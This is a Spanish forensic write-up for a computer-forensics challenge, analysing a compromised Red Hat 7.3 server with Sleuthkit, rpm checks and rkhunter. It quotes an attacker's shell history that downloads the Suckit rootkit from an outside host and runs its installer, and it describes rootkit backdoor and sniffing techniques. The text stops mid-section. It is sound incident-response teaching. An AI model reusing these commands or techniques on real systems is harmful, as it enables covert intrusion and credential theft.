1

Reto Forense Hispano v.2.0

Informe Técnico

José Ignacio Parra joseignacio.parra@gmail.comVíctor Barahona victor.barahona@gmail.com

Quique López quiquelopezfernandez@gmail.comMadrid, España

2

INTRODUCCIÓN 1. Primeros pasos: preparación del entorno y recogida datos inicial.

1.1. Preparación del entorno forense. 1.1.1. Estación de trabajo independiente. 1.1.2. Máquina test: equipo con el mismo SO que la atacada.

1.1.3. Software utilizado para el análisis. 1.2. Descarga y verificación de imágenes suministradas. 1.3. Montaje de las imágenes en la estación de trabajo independiente para

su análisis en frío. 1.4. Recogida inicial de datos para su posterior análisis.

2. Estudio forense de las evidencias. 2.1. Análisis del software instalado en la maquina atacada. 2.2. Comprobación de la existencia de una intrusión. 2.3. Búsqueda de los agentes causales de la modificación de los archivos.

2.3.1. Hipótesis rootkit instalado. 2.3.1.1. Suckit. 2.3.1.2. SHV4. 2.3.2. Hipótesis un virus en Linux: 2.3.2.1. Linux/RST.b. 2.3.2.2. Linux/OSF.a.

2.4. De como el atacante entra en el sistema. 2.5. Descripción del compromiso.

3. Análisis de las herramientas instaladas por el atacante. 3.1. Scanner y exploit de Samba: woot.tgz. 3.2. Scanner y exploit de Apache+ssl: selena.tgz. 3.3. Rootkit y backdoor: crk.tgz. 3.4. Irc Bouncer: psybnc.tgz. 3.5. Rootkit Suckit: sc.tgz. 3.6. Irc backdoor: https. 3.7. Backdoor: pico. 3.8. Backdoor: za.tgz. 3.9. Exploit: own.

4. Respuestas a las preguntas del reto. 4.1. ¿A que sistema corresponden las imágenes? 4.2. ¿El sistema fue vulnerado?

4.3. ¿Quien (desde donde) ingreso? 4.4. ¿Cómo ingreso? 4.5. ¿Qué recomendaciones harías para minimizar el riesgo de una nueva intrusión?

3

Introducción El objetivo principal de este informe es la realización de un análisis forense informático de una maquina que supuestamente ha sido comprometida. Se realizara un proceso mediante el cual se reconstruirán a través de distintas técnicas forenses y herramientas, los acontecimientos que tuvieron lugar desde el momento en que el sistema estaba libre del ataque hasta el momento de la detección del intruso. Este desarrollo temporal, tiene como fin, averiguar como se produjo el compromiso, bajo que circunstancias, la procedencia del intruso y momento de la intrusión. Un segundo objetivo no menos importante es el didáctico, tanto para los investigadores del presente informe, como para los lectores del mismo. Por nuestra parte, hemos aprendido, compartido, nos hemos divertido y sobre todo hemos dormido poco durante el tiempo del estudio. Durante la recolección de las pruebas, hemos usado múltiples herramientas y hemos almacenado información para escribir probablemente una trilogía de unos cientos de páginas. Sin embargo y en aras de brevedad exigida por el reto y de la didáctica antes mencionada, solo se han reseñado las partes más relevantes de esa información para que la lectura sea más ágil y amena. El documento consta de 4 partes fundamentales que nos ha permitido diseccionar la información de la forma más clara posible. Una primera en la que se indican los pasos de cómo preparar un entorno forense para el estudio del caso, los pasos dados, las herramientas usadas, etc. Es la parte quizás más mecánica, pero sin duda fundamental y que de no hacerse correctamente tira a traste el resto del trabajo. Una correcta planificación en la fase de preparación facilitara el poder cumplir el resto de las partes de la forma más rápida y eficiente. Una segunda parte en la que se realiza el análisis forense propiamente dicho, buscando la existencia de la intrusión, su origen, el servicio atacado y los pasos del atacante. Es probablemente la parte más importante en cuanto a que responde a la mayor parte de las preguntas que planteaba el reto. En la tercera parte se estudian todas las herramientas que ha usado el intruso: rootkits, exploits, scanners, herramientas de IRC, etc. Se describirá su función y como funcionan de forma pormenorizada. La cuarta y última parte, se plantea como unas conclusiones finales que responden a las respuestas que plantaba el reto y resume brevemente los argumentos usados para llegar a dichas conclusiones. Ha sido una tarea larga pero apasionante y esperamos que el lector aproveche el trabajo que hemos realizado.

4

1. Primeros pasos: preparación del entorno y recogida datos inicial. Antes de comenzar con cualquier tipo de análisis, es fundamental, contar con un entorno preparado para el estudio forense. En está parte es fundamental la planificación y tener claro que tipo de acciones vamos a realizar a posteriori, puesto que muchas de las recogidas de información en imágenes tan grandes como las de este caso, llevan mucho tiempo y un error puede hacer que todo nuestro trabajo se pierda.

Una vez tenemos el entorno necesario, pasaremos a la recolección inicial de datos para su posterior análisis. En el caso que nos ocupa, la recogida será en frío, es decir analizando las imágenes del equipo sin arrancarlo por ejemplo en una máquina virtual. A pesar de que evaluamos su realización, no hemos estimado necesario realizar un análisis en caliente de la maquina porque tras el estudio en frío, llegamos a la conclusión de que no nos ofrecía información adicional para resolver el reto. 1.1. Preparación del entorno forense Para poder estudiar las imágenes aportadas por el reto, necesitamos antes de nada preparar un entorno de trabajo forense, para lo cual daremos los siguientes pasos: 1.1.1. Estación de trabajo independiente Para realizar el análisis, se monto una maquina virtual del tipo VMware1 con sistema operativo RedHat sobre el que se trabajo copiando las imágenes que nos proporcionaron. La razón del uso de este método es que podemos montar una mini red con la maquina virtual y llegado el caso podremos incluso montar otra maquina virtual con las imágenes que nos proporcionaron, sin tener que reinstalar todo el sistema. Además de los paquetes propios de este sistema operativo, se instaron los paquetes sleuthkit y autopsy2: sleuthkit-1.73-oss_fc2_1.i386.rpm autopsy-2.03-oss_fc2_3.i386.rpm

Para realizar todas las pruebas nos conectábamos a la maquina virtual por SSH, habilitando la opción de guardado de logs desde el cliente SSH, que en este caso usamos el SecureCRT3. En ambos casos, el del cliente SecureCRT y el del programa VMware, se usaron dos versiones de prueba que caducan a los pocos días. Antes de empezar a estudiar las imágenes se realizaron una serie de tareas. La primera es configurar un acceso directo vía SSH con el SecureCRT a la maquina virtual donde vamos a estudiar las imágenes. Usáremos siempre el usuario root en la maquina virtual, por ser este usuario el que mas permisos tiene de ejecución de comandos. En este acceso se definió un fichero de log que será donde se guarde un registro de todos los comandos y salidas ejecutadas a lo largo del estudio. En el presente informe se pondrán extractos de este fichero de log.

1 VMware. http://www.vmware.com/vmwarestore/newstore/wkst_eval_login.jsp 2 Los paquetes sleuthkit y autopsy se descargaron de: http://www.spenneberg.com/redirect.php?url=public/Forensics/sleuthkit/sleuthkit-1.73-oss_fc2_1.i386.rpm http://www.spenneberg.com/redirect.php?url=public/Forensics/autopsy/autopsy-2.03-oss_fc2_3.i386.rpm 3 SecureCRT, aplicación cliente de telnet, ssh1 y ssh2 www.vandyke.com/products/securecrt/

5

Entre las características que dispone el programa SecureCRT se encuentra la ejecución de comandos al recibir una cadena de respuesta de la maquina a la que nos conectamos. Según esto, se configuro el SecureCRT para automatizar la entrada en la maquina virtual, posibilitando que se conecte a la maquina, escriba el password de root y modifique variables de entorno. Se cambio también en el sistema la variable PS1, o lo que es lo mismo: el prompt del usuario root, para lo cual se modifico el fichero "/root/.bash_profile". Este formato de línea nos permite tener una idea de los comandos ejecutados y su uso a lo largo de la realización de las pruebas con las imágenes. Es interesante sobre todo si hay que presentar estas y otras pruebas en un futuro proceso judicial. La línea que se mete en el fichero /root/.bash_profile: PS1='[\u@\h \W - `date +%d/%m/%y-%k:%M:%S_%Z` ]\$ ' export PS1 Dando como resultado un prompt del tipo: [root@rhas30 root - 13/02/05-15:40:26_CST ]# Por ultimo, se crea el archivo ".vimrc" en el HOME de root de la maquina virtual (/root). Este fichero tendrá una única entrada que será "set number". Con esta línea hacemos que todos los ficheros que se editen con el editor “vi” aparezcan con los números de línea de dicho fichero. Así será más fácil la localización de las pruebas. En la presentación de los listados, cada línea vendrá precedida con un número en rojo que indicara el número de línea en dicho fichero. 1.1.2. Máquina test: equipo con el mismo SO que la atacada Al igual que en el caso anterior, se procedió a la instalación de una maquina virtual con la versión 7.3 de RedHat4 con los mismos paquetes y opciones que se instaló la maquina teóricamente comprometida. Usando esta maquina podemos probar nuestras teorías, ejecutar programas y ver sus efectos y en general, recrear los pasos que el atacante dio para la realización de la intrusión. Con objeto de tener la maquina lo más parecida al sistema atacado, además del mismo sistema operativo, vamos a usar el mismo tipo de instalación que en la maquina atacada. Las opciones de instalación se sacaron de la maquina comprometida del fichero /root/anaconda-ks.cfg. Para realizar esta tarea, primero nos bajamos las imágenes, y las instalamos con las opciones que aparecen en dicho fichero, entre las que destacan: 13 timezone America/Mexico_City Los grupos de paquetes que se instalaron se listan a continuación. Además se instalaron los paquetes de la base de datos mysql. 26 %packages 27 @ Network Support 28 @ Messaging and Web Tools 29 @ Anonymous FTP Server 30 @ SQL Database Server 31 @ Web Server 32 @ DNS Name Server 33 @ Software Development 34 @ Kernel Development

4 Se bajaron las imagines iso de la dirección: ftp://ftp.rediris.es/sites/ftp.redhat.com/pub/redhat/linux/7.3/en/iso/i386

6

1.1.3. Software utilizado para el análisis A continuación detallamos los programas que hemos utilizado: Sleuthkit se compone de una serie de herramientas OpenSource en modo línea de comandos que nos permiten investigar que ha sucedido en una máquina. Entre otras cosas, podemos recoger en que fecha se han modificado, creado o accedido cualquiera de los ficheros de un sistema de ficheros. Soporta múltiples sistemas de ficheros y es la herramienta fundamental para el análisis forense. Muchas de las herramientas usadas en el presente informe están sacadas de comandos de este paquete. http://www.sleuthkit.org/sleuthkit/index.php Autopsy es un software OpenSource que nos proporciona un entorno de gestión de casos forenses. Permite separar distintos casos, agrupar los equipos implicados, es un frontend para sleuthkit por lo que facilita enormemente su uso, permite hacer anotaciones sobre la marcha e identifica al investigador/es que trabajan en el caso, manteniendo un registro de las acciones realizadas por cada uno. Todo esto en un entorno web amigable, fácil de instalar y muy recomendable como base para cualquier análisis forense de este tipo. http://www.sleuthkit.org/autopsy/index.php SecureCRT es un cliente SSH comercial. La razón de usar este en concreto es que disponía de algunas funcionalidades que nos facilitaban la labor durante el análisis. http://www.vandyke.com/products/securecrt/ VMWare es un software comercial que permite tener corriendo simultáneamente en un equipo, varias maquinas virtuales corriendo con distintos sistemas operativos. http://www.vmware.com/ RKhunter es un programa OpenSource que escanea ficheros y directorios buscando rootkits, backdoors, sniffers, etc., este escaneo lo hace comparando dichos ficheros con una base de datos donde están definidos ficheros que usan diferentes rootkits, etc. http://www.rootkit.nl/ Herramientas que vienen en el sistema: md5sum, rpm, file, strings, etc. Como antivirus y detector de malware en general, hemos usado el excelente servicio VirusTotal que examina con 16 motores antivirus los ficheros enviados. http://www.virustotal.com/ Para búsquedas en general en Internet, inevitablemente Google ha sido la mejor herramienta. http://www.google.com 1.2. Descarga y verificación de imágenes suministradas. Realizamos la descarga de las imágenes de uno de los sitios indicados por los organizadores del reto.

wget http://pgp.rediris.es:16000/reto/*

Procedemos a comprobar la integridad de los ficheros suministrados con la utilidad md5sum. Este programa realiza una función de hash sobre cada fichero y genera una cadena de 16 dígitos hexadecimal única para cada fichero. Cualquier modificación por mínima que sea del fichero original, tendrá como resultado otra cadena de 16 dígitos hexadecimal totalmente diferente. De esa forma y puesto que la organización del reto publicó la firma md5 de cada una de las imágenes, procedimos a verificar la integridad de las mismas. Precisamente en este paso descubrimos que una de las imágenes se había corrompido durante la transferencia y pudimos detectarlo en una primera fase sin mayores problemas.

7

# mkdir /imagenes # mv hda*.gz /imagenes # cd /imágenes # wget http://pgp.rediris.es:16000/reto/* # gunzip hda*.gz # md5sum *.dd 639c0cb8e90158b96cc4f1a3acefc5f1 hda1.dd a3b9a3464d6f8e2494bca7126ec621b1 hda2.dd b90bbfb50821086f195054013260888c hda3.dd 0c5ad84632aa4d6612f21f37c5bc4c4f hda5.dd eb99858c421ae0a48ac7772600dff57c hda6.dd Una vez comprobada la no modificación de las imágenes suministradas, se asume que desde que se crearon las imágenes hasta que llegaron a nuestro poder dichas imágenes no sufrieron modificaciones. 1.3. Montaje de las imágenes en la estación de trabajo independiente para su análisis en frío. Se procede al montaje de las mismas en la maquina virtual anteriormente instalada (estación de trabajo independiente). Para hacerlo, nos fijamos primero en el nombre que han dado a las imágenes, hda1.dd, hda2.dd, hda3.dd, hda5.dd y hda6.dd. Según este nombre, podemos suponer que nos encontramos ante un sistema operativo del tipo Unix montado sobre un ordenador Intel o compatible, que tiene por lo menos un disco del tipo ide. Esta teoría no tiene que ser necesariamente cierta, pero la consideraremos para un primer contacto con el sistema. Intentamos montar la primera imagen (hda1.dd), que generalmente es la partición raíz del sistema. En el montaje elegimos un sistema de ficheros tipo ext2, que es el mas común en un entorno Linux, siendo éste el sistema operativo mas utilizado y por lo tanto el mas probable que sea usado para el sistema que nos ocupa. # mkdir /reto2 # mkdir /reto2/imagen1 # mount -o loop,ro,nodev -t ext2 /imagenes/hda1.dd /reto2/imagen1 Una vez ejecutados los comandos anteriores sin producir errores, ya tenemos montada la primera imagen, lo que nos posibilita movernos por ella sin miedo a modificarla. Nos damos cuenta que es un sistema operativo Redhat y mas concretamente versión 7.3. Este dato lo sacamos del fichero /etc/redhat-release. # cat /reto2/imagen1/etc/redhat-release Red Hat Linux release 7.3 (Valhalla) Nos queda conocer la correspondencia entre las imágenes proporcionadas y las particiones físicas/lógicas de la maquina comprometida. En RedHat esta información se encuentra en el fichero /etc/mtab, este fichero además nos informa que el formato de las particiones es del tipo ext3. 1 /dev/hda1 / ext3 rw 0 0 2 none /proc proc rw 0 0 3 usbdevfs /proc/bus/usb usbdevfs rw 0 0 4 none /dev/pts devpts rw,gid=5,mode=620 0 0 5 /dev/hda2 /home ext3 rw 0 0 6 none /dev/shm tmpfs rw 0 0 7 /dev/hda5 /usr ext3 rw 0 0 8 /dev/hda3 /var ext3 rw 0 0

8

Nos falta conocer la correspondencia entre la última imagen hda6.dd y su punto de montaje. Para averiguarlo, vemos el fichero /etc/fstab, este fichero nos informa que la partición buscada es el swap del equipo y por lo tanto no tiene punto de montaje. # cat /reto2/imagen1/etc/fstab LABEL=/ / ext3 defaults 1 1 none /dev/pts devpts gid=5,mode=620 0 0 LABEL=/home /home ext3 defaults 1 2 none /proc proc defaults 0 0 none /dev/shm tmpfs defaults 0 0 LABEL=/usr /usr ext3 defaults 1 2 LABEL=/var /var ext3 defaults 1 2 /dev/hda6 swap swap defaults 0 0 /dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0 /dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0 Según estos dos ficheros, la correspondencia de las imágenes suministradas queda de la siguiente manera:

Fichero suministrado partición física maquina punto de montaje maquina origen

punto de montaje maquina virtual

hda1.dd /dev/hda1 / /reto2 hda2.dd /dev/hda2 /home /reto2/home hda3.dd /dev/hda3 /var /reto2/var hda5.dd /dev/hda5 /usr /reto2/usr hda6.dd /dev/hda6 swap Otro dato importante antes de empezar un estudio exhaustivo de las imágenes es conocer la zona horaria que esta definida en la maquina comprometida. Este dato es la referencia horaria del supuesto ataque. Mirando el fichero /etc/sysconfig/clock vemos que esta definida como ZONE="America/Mexico_City", o lo que es lo mismo Zona CST (Central Standard Time) o GMT-6. # vi /reto2/imagen1/etc/sysconfig/clock 1 ZONE="America/Mexico_City" 2 UTC=false 3 ARC=false A partir de ahora, cuando se realicen referencias horarias, se tomara esta zona como referencia. En cuanto a la precisión de dicha hora, se asume que es poco precisa al carecer la maquina de un servidor NTP configurado. Por comodidad y para evitar estar haciendo continuamente el calculo mental de la zona horaria en relación a nuestro equipo, se procede a meter la línea siguiente en el fichero variable “TZ='America/Mexico_City'; export TZ“ en el fichero /root/.bash_profile de la maquina virtual. Ya tenemos los datos para empezar el estudio de la maquina comprometida. Montamos las diferentes imágenes en un directorio a partir del cual se recreara el sistema atacado para posibilitar su estudio. # mkdir /reto2/hda # mount -o loop,ro,nodev -t ext3 /imagenes/hda1.dd /reto2/hda # mount -o loop,ro,nodev -t ext3 /imagenes/hda2.dd /reto2/hda/home # mount -o loop,ro,nodev -t ext3 /imagenes/hda3.dd /reto2/hda/var # mount -o loop,ro,nodev -t ext3 /imagenes/hda5.dd /reto2/hda/usr Quedando los sistemas de ficheros de la siguiente manera una vez montadas las imágenes:

9

/imagenes/hda1.dd 1004024 80176 872844 9% /reto2/hda /imagenes/hda2.dd 3020172 32860 2833892 2% /reto2/hda/home /imagenes/hda3.dd 3020172 57676 2809076 3% /reto2/hda/var /imagenes/hda5.dd 3020140 676624 2190100 24% /reto2/hda/usr 1.4. Recogida inicial de datos para su posterior análisis. Antes que nada, decir que todos los comandos que vamos a usar del Sleuthkit en modo línea de comandos, pueden ser ejecutados desde el Autopsy con un solo click, pero hemos preferido usarlos en modo línea de comandos para conocerlos más en profundidad y comprender mejor su funcionamiento. La información que vamos a recopilar en este punto, es casi un protocolo en cualquier análisis forense. A partir de esta información cada caso nos llevara a recoger información distinta según el sistema operativo, la información que se vaya encontrando, etc. Lo primero que vamos a recoger son los tiempos de modificación, acceso y creación (mactime) de los ficheros y directorios contenidos en las imágenes. Para ello, vamos a usar una de las herramientas del Sleuthkit llamada fls. # fls -r -l -f linux-ext3 -z CST -m / /imagenes/hda1.dd > /reto2/DataFile.txt # fls -r -l -f linux-ext3 -z CST -m /home /imagenes/hda2.dd >> /reto2/DataFile.txt # fls -r -l -f linux-ext3 -z CST -m /var /imagenes/hda3.dd >> /reto2/DataFile.txt # fls -r -l -f linux-ext3 -z CST -m /usr /imagenes/hda5.dd >> /reto2/DataFile.txt A este listado le añadimos los ficheros que han sido borrados de las 4 particiones, para ello usamos la herramienta ils que también pertenece al Sleuthkit. Como se pude apreciar no se incluye la partición swap (hda6.dd) para crear estos listados, dado que, dicha partición no usa el sistema de ficheros ext3 que estamos analizando. Para analizar el swap se usan otro tipo de técnicas que luego veremos. # ils -f linux-ext3 -m /imagenes/hda1.dd >> /reto2/DataFile.txt # ils -f linux-ext3 -m /imagenes/hda2.dd >> /reto2/DataFile.txt # ils -f linux-ext3 -m /imagenes/hda3.dd >> /reto2/DataFile.txt # ils -f linux-ext3 -m /imagenes/hda5.dd >> /reto2/DataFile.txt El fichero que hemos creado con las herramientas fls e ils, contienen los mactime en formato Epoc Time (número de segundos a partir de las 00:00:00 horas del día 1 enero de 1970 UTC). Usaremos la herramienta mactime para crear un fichero con un formato de hora fácilmente inteligible, transformando el tiempo en formato Epoc Time a un formato “<día de la semana> <mes> <día del mes> <año> <hora: minuto: segundos>” en la hora local de la maquina atacada. Además esta herramienta ordena los accesos cronológicamente. # mactime -b /reto2/DataFile.txt -g /reto2/hda/etc/group -p /reto2/hda/etc/passwd -z CST6CDT > /reto2/mactime_todo.txt

A continuación vamos a extraer de cada imagen la parte no usada (unallocated) del disco. En esta información estarán contenidos el espacio sin usar y los ficheros y directorios borrados que aun no han sido sobrescritos y que nos interesa ver o recuperar. Usaremos la herramienta dls de Sleuthkit. dls -f linux-ext3 /imagenes/hda1.dd >> /reto2/hda1.dd.unalloc dls -f linux-ext3 /imagenes/hda2.dd >> /reto2/hda2.dd.unalloc dls -f linux-ext3 /imagenes/hda3.dd >> /reto2/hda3.dd.unalloc dls -f linux-ext3 /imagenes/hda5.dd >> /reto2/hda5.dd.unalloc Seguidamente extraemos de la información no usada (o borrada) de cada partición las cadenas de texto (strings) que contengan. Esto nos permitirá más adelante analizarlas en busca de información que hayan borrado los atacantes o que el sistema haya borrado, pero aun no haya sido sobrescrita. Vamos a usar la herramienta sstrings de Sleuthkit.

10

sstrings -a -t d /imagenes/hda1.dd.unalloc >> /reto2/hda1.dd.unalloc.asc sstrings -a -t d /imagenes/hda2.dd.unalloc >> /reto2/hda2.dd.unalloc.asc sstrings -a -t d /imagenes/hda3.dd.unalloc >> /reto2/hda3.dd.unalloc.asc sstrings -a -t d /imagenes/hda5.dd.unalloc >> /reto2/hda5.dd.unalloc.asc Como decíamos antes, la partición hd6 que contiene el swap es un sistema de ficheros especial y por tanto no podemos analizarla de igual manera. La forma más sencilla de obtener información del swap es extraer también los strings que contiene. Para ello volveremos a usar la herramienta sstrings de Sleuthkit. sstrings -a -t d /imagenes/hda6.dd >> /reto2/hda6.dd.asc El intruso, en la instalación de un rootkit, borró todos los logs del sistema que se encuentran en /var/log/; así que no podemos consultar directamente la información que contenían y compararla con cualquier otra que encontremos. Mas adelante trataremos de recuperar en los ficheros borrados, al menos parte de estos logs para ser usados como evidencia.

11

2 Estudio forense de las evidencias Con toda la información obtenida, podemos empezar el análisis del caso. 2.1 Análisis del software instalado en la maquina atacada El primer listado que vamos a crear es la lista de los paquetes instalados ordenados por fecha de instalación, siendo las primeras líneas los últimos paquetes instalados. Los datos que podemos sacar de dicho listado son los paquetes, servicios y programas que tiene la maquina, y sobre todo, la fecha de instalación de dicha maquina. Esto último lo sabemos al ver que todos los paquetes se instalaron en una misma fecha, no existiendo apenas diferencia de tiempo entre la instalación de unos y otros. # rpm -qa --dbpath /reto2/hda/var/lib/rpm --last > /reto2/rpm_instalados.txt Al no existir apenas tiempo entre la instalación de unos paquetes y otros, siendo estas diferencias de tiempo de segundos, asumimos que la instalación de software inicial se realizo en una sola vez. Según el listado de más abajo, la instalación se realizo el día jueves 20 de enero de 2005 entre las 9:51 y 10:02. Asumimos que en la fecha del termino de la instalación la maquina no había sufrido ningún tipo de intrusión, siendo el hipotético ataque realizado a partir de esa fecha. Mostramos a continuación el primer y ultimo paquete instalado en la maquina con su fecha de instalación. /reto2/rpm_instalados.txt 1 mysqlclient9-3.23.22-6 jue 20 ene 2005 10:02:42 CST 346 glibc-common-2.2.5-34 jue 20 ene 2005 09:51:33 CST Esta información se corrobora con la fecha de creación/modificación de los ficheros /root/install.log y /root/install.log.syslog. Siendo ambos ficheros creados por el programa de instalación de RedHat a modo de logs del dicha instalación. -rw-r--r-- 1 root root 11602 ene 20 10:02 install.log -rw-r--r-- 1 root root 0 ene 20 09:51 install.log.syslog

2.2 Comprobación de la existencia de una intrusión En casi todas la intrusiones, es habitual que el atacante altere los binarios del sistema para que oculten sus actividades o le permitan volver a la maquina sin ser detectado. Vamos a comprobar si se han producido modificaciones de los archivos binarios de la maquina atacada después de la instalación del sistema. Como vimos antes, la mejor forma de hacerlo es usando la firma md5 de los ficheros. En los sistemas basados en paquetes rpm, cada uno de los ficheros instalados almacenan la firma md5 en la base de datos rpm del sistema. Dicha base de datos no es fácilmente alterable al estar en formato binario y suele contener información confiable. Por ello es fácil y razonablemente seguro cotejar dicha base de datos contra las firmas actuales de los ficheros que hay en las imágenes. El siguiente comando almacena en un fichero la lista los ficheros de los paquetes instalados en la maquina cuya firma md5 difiere de los que se suministraron con el paquete instalado. # rpm --root=/reto2/hda -Va > /reto2/rpm_md5.txt De la lista anterior cogemos los ficheros que han sufrido modificaciones, o lo que es lo mismo, que su suma md5 es diferente. En otra lista metemos los ficheros que han sido borrados. # grep "\.5" /reto2/rpm_md5.txt > /reto2/rpm_md5_solo_modificados.txt

12

Mirando los ficheros que han sido modificados, nos encontramos que han cambiado muchos ficheros binarios del sistema, modificándose tanto el md5 del fichero (columna con valor 5), como el tamaño de dicho fichero (columna con valor S). A continuación ponemos parte del fichero rpm_md5_solo_modificados.txt. /reto2/rpm_md5_solo_modificados.txt 2 S.5....T /bin/ping 3 S.5....T /bin/mt 4 S.5....T /bin/setserial 5 S.5....T /bin/chgrp 6 S.5....T /bin/chmod 7 S.5....T /bin/chown 8 S.5....T /bin/cp 9 S.5....T /bin/dd 10 S.5....T /bin/df 11 S.5....T /bin/ln 12 S.5....T /bin/ls 13 S.5....T /bin/mkdir 14 S.5....T /bin/mknod 16 S.5..... /bin/rm 17 S.5..... /bin/rmdir 18 S.5..... /bin/sync 19 S.5..... /bin/touch 20 S.5..... /bin/grep 21 S.5..... /bin/consolechars 22 S.5..... /bin/loadkeys 23 S.5..... /bin/tar 24 S.5..... /bin/cat 25 S.5..... /bin/cut 26 S.5..... /bin/sort 27 S.5..... /bin/mount 28 S.5..... /bin/umount 29 S.5..... /bin/vi 33 S.5..... /bin/rpm 34 S.5..... /bin/doexec 35 S.5..... /bin/ipcalc 36 S.5..... /bin/usleep 41 S.5..... /bin/gettext 42 S.5....T /bin/mail

43 S.5....T /bin/mktemp 44 S.5....T /bin/hostname 45 S.5....T /bin/netstat 46 S.5....T c /etc/crontab 47 S.5....T /bin/cpio 48 S.5....T /bin/ed 49 S.5....T /bin/gawk 50 S.5....T /bin/gawk-3.1.0 51 S.5..... /bin/pgawk 52 S.5..... /bin/ash 53 S.5..... /bin/ash.static 54 S.5..... /bin/gunzip 55 S.5..... /bin/gzip 56 S.5..... /bin/zcat 57 S.5..... /bin/sed 58 S.5..... /bin/tcsh 59 S.5..... /bin/basename 60 S.5..... /bin/date 61 S.5..... /bin/echo 62 S.5..... /bin/false 63 S.5..... /bin/nice 64 S.5..... /bin/pwd 65 S.5..... /bin/sleep 66 S.5..... /bin/stty 67 S.5..... /bin/su 68 S.5..... /bin/true 69 S.5..... /bin/uname 70 S.5....T /sbin/init 71 S.5..... /bin/arch 72 S.5..... /bin/dmesg 73 S.5..... /bin/kill 74 S.5..... /bin/login 75 S.5..... /bin/more

A la vista de esta información podemos estar razonablemente seguros de que la maquina ha sufrido algún tipo de compromiso. Podría pensar que se ha instalado en la maquina un rootkit o similar. Sin embargo llama la atención que los únicos binarios (salvo init) modificados están el directorio /bin y que son prácticamente la totalidad de los ficheros de este directorio. Algunos de estos ficheros, como date o cut no muestran información del sistema que un rootkit necesite ocultar por lo que es poco probable que un hayan sido modificados por esa razón. Además, solo hay 5 ficheros que no han sido modificados, bash, egrep, fgrep, igawk y ps. Esto aun es más sorprendente puesto que el programa ps, que sirve para mostrar los procesos que corren en el sistema es el primero objetivo de un rootkit. Por tanto, no creemos que hayan sido modificados por un rootkit. Más adelante veremos que es lo que causo dicha modificación. Lo que sabemos con toda seguridad tras ver esto es que han sido modificados comandos binarios del sistema, y que la maquina ha sufrido algún tipo de compromiso.

13

2.3. Búsqueda de los agentes causales de la modificación de los archivos. Los archivos pueden haber sido modificados por varias causas, a continuación presentamos dos hipótesis que puedan explicar dicha modificación. 2.3.1. Hipótesis rootkit instalado. Dado que para tomar el control de una maquina es habitual la instalación de una rootkit, y pese a que las evidencias anteriormente señaladas, sobre archivos binarios modificados, no parezcan solo explicables a través de la instalación de un rootkit, trataremos de comprobar si ha existido tal instalación como hipótesis razonable de intrusión para tomar el control de la maquina. Para buscar dicho rootkit, usaremos el paquete rkhunter5: rkhunter-1.2.0.tar.gz Descargamos el paquete de la página web del proyecto, los descomprimirlos y compilarlos. Los resultados que se ven en la salida de la ejecución del rkhunter no son del todo precisos. Indica que, a pesar de que existen ficheros en el sistema que pueden pertenecen a algunos rootkits, en cambio, faltan también algunos ficheros de esos rootkits. La conclusión de esto es que puede tratarse de variantes de estos rootkits que todavía no están dados de alta en la base de datos del rkhunter, o que la instalación de algunos de esos rootkits ha sido incompleta. Ejecutamos el scanner para buscar el rootkit instalado. La salida de este comando por consola indica la posibilidad de tener algún rootkit. En el listado que adjuntamos, hemos suprimido las líneas que no aportan información interesante desde el punto de vista del informe: # /usr/local/bin/rkhunter --checkall --createlogfile --rootdir /reto2/hda Check rootkits * Default files and directories Rootkit 'Flea Linux Rootkit'... [ Warning! ] Rootkit 'SHV4'... [ Warning! ] Rootkit 'Suckit Rootkit'... [ Warning! ] Rootkit 'SunOS Rootkit'... [ Warning! ] La ejecución de este programa crea un archivo de log, donde se muestran las comprobaciones que realiza. Este archivo de logs se encuentra en /var/log/rkhunter.log. Atendiendo a los ficheros contenidos en este log, llegamos a la conclusión de que hay rastros de dos rootkits: Suckit y SHV4. Vamos a detallar muy brevemente en los siguientes puntos, los ficheros encontrados de cada rootkit y la implicación que tiene en la intrusión. Se puede encontrar una descripción completa de ambos rootkits en la sección 4 “Análisis de las herramientas instaladas por el atacante” 2.3.1.1. Suckit6. Suckit es un rootkit que no hace uso de binarios modificados, lo que hace es cargarse en la memoria del kernel, pero en vez de cargarse como un modulo, como hacen otros rootkits de este tipo (LKM rootkits como adore, rial, heroin, etc.) lo que hace es cargarse directamente a través de /proc/kmem. Por lo tanto no necesita siquiera soporte para la carga de módulos en el kernel. Una vez cargado proporciona una puerta trasera inversa, protegida con una contraseña y que se activa

5 Rkhunter: http://www.rootkit.nl/ 6 Información sobre el Suckit Root Kit http://www.phrack.org/phrack/58/p58-0x07 http://hepwww.rl.ac.uk/sysman/april2003/talks/SecurityIncidentReport.ppt

14

ante la llegada de un paquete spoofeado7. En este tipo de puerta trasera (inversa), la victima inicia la conexión y de esta manera el atacante puede saltarse la configuración de la mayoría de los firewalls. Lo que hace el rootkit es sustituir el binario /sbin/init por otro que cargara el rootkit en memoria en cuanto se reinicie la maquina. El fichero init original lo renombra a initxxxx donde xxxx es el nombre del directorio donde guarda el rootkit los ficheros de configuración. En el caso que estamos estudiando, en el fichero /.bash_history encontramos que se han descargado e instalado el rootkit suckit. /.bash_history 4 wget xhack.150m.com/sc.tgz 5 tar -zxvf sc.tgz 6 cd sc 7 ./inst 8 ./sk Durante la ejecución de estos comandos, se cambia el nombre al /sbin/init para llamarlo /sbin/initsk12 y se copia el rootkit en /sbin/init. Sin embargo, la instalación falla al crear el directorio /usr/share/.X12-kernel, por lo que a pesar de que el rootkit se carga en el sistema al reiniciar, ha quedado solo parcialmente instalado. Una ultima comprobación que hacemos, viene dada por el md5 del fichero. # md5sum /reto2/sbin/initsk12 a44b4fe49763349af054000b8565618a sbin/initsk12 Esta suma md5 corresponde exactamente con el md5 del mismo fichero encontrado en un incidente en el que el suckit esta instalado y que esta documentado en Internet8. 2.3.1.2. SHV49. El SHV4 es un rootkit técnicamente menos sofisticado que el suckit. Básicamente es una serie de scripts que instala nuevos binarios sobre los originales del sistema para ocultar información. Entre sus otras funcionalidades están:

- Instala una puerta trasera (sshd) en un puerto configurable protegido con contraseña. - Modifica el servidor sshd por uno que almacena el usuario y contraseña de cualquier

usuario que se conecte a esa maquina. - Instala un sniffer llamando linsniffer y un script para extraer de sus logs, usuarios y

contraseñas. En la maquina atacada, vemos en el fichero /.bash_history, como se descarga e instala el rootkit SHV4:

